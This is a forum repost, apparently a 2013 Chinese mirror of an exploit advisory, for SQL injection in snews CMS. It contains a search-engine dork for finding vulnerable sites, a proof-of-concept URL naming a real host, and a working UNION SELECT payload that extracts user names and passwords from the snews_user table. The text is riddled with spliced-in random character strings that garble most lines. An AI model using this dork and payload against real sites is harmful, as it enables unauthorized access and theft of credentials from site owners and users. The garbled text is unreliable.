标题: CMS snews SQL Injection Vulnerability5 U" t+ D( k$ w# n
作者: By onestree
4 e8 V' J" y% ]' V! h9 S下载地址 : http://snewscms.com/
! ]2 M. _, q$ X测试平台 : ubuntu 12.10 / win 7
& @+ H/ f: M* \0 X关键词: inurl:"tanyakan pada rumput yang bergoyang": x; w& j8 g, G/ v' {
* J! Z& T- a+ n5 }
' t: z) L4 f6 e# R' K" h: i*************************************************************7 I v/ {% C5 C9 J
% l/ G0 r" m8 C' YSQL poc:
9 D2 X6 @! t. y : N) G/ |1 q5 [. t
http://www.2cto.com /snews/snews.php?act=shownews&id=[SQL]5 {& X8 W( {" z. D. M
/ z" H) \& ^% f; \- z
示例2 {% ?9 A) i; Y7 t( ^- h
# j. M- r7 z2 |9 Xhttp://localhost/snews/snews.php?act=shownews&id=-23/**/union/**/select/**/0,1,concat(user_name,char(32),user_pass),3,4,5,6/**/from/**/snews_user/**/where/**/id%20like%201/*, R7 w% Y, ]; y) d& p/ Z) e7 Y
, [! i9 z; ]' ?/ {
" t- O# p" F8 ^! \8 i致谢:9 k/ P2 z& }+ D5 @9 |' i$ N
/ @+ Q& B) a- L3 ^6 Z. G6 x Exploit-db | Alex_Ownz | alm.teardrop | abhelink | kalong666 | prorebell, @8 C+ m& P# C8 |
" y( ^" Z) s6 \* t indonesiancoder - moeslimh4x0r - go-coder% m+ A- l- F6 }+ q1 Q- v
' i; I; i t+ v' U
spesial my hunny :*% t: i* a7 i4 A# P
|
发表于 2013-1-23 08:55:06
收藏
支持
反对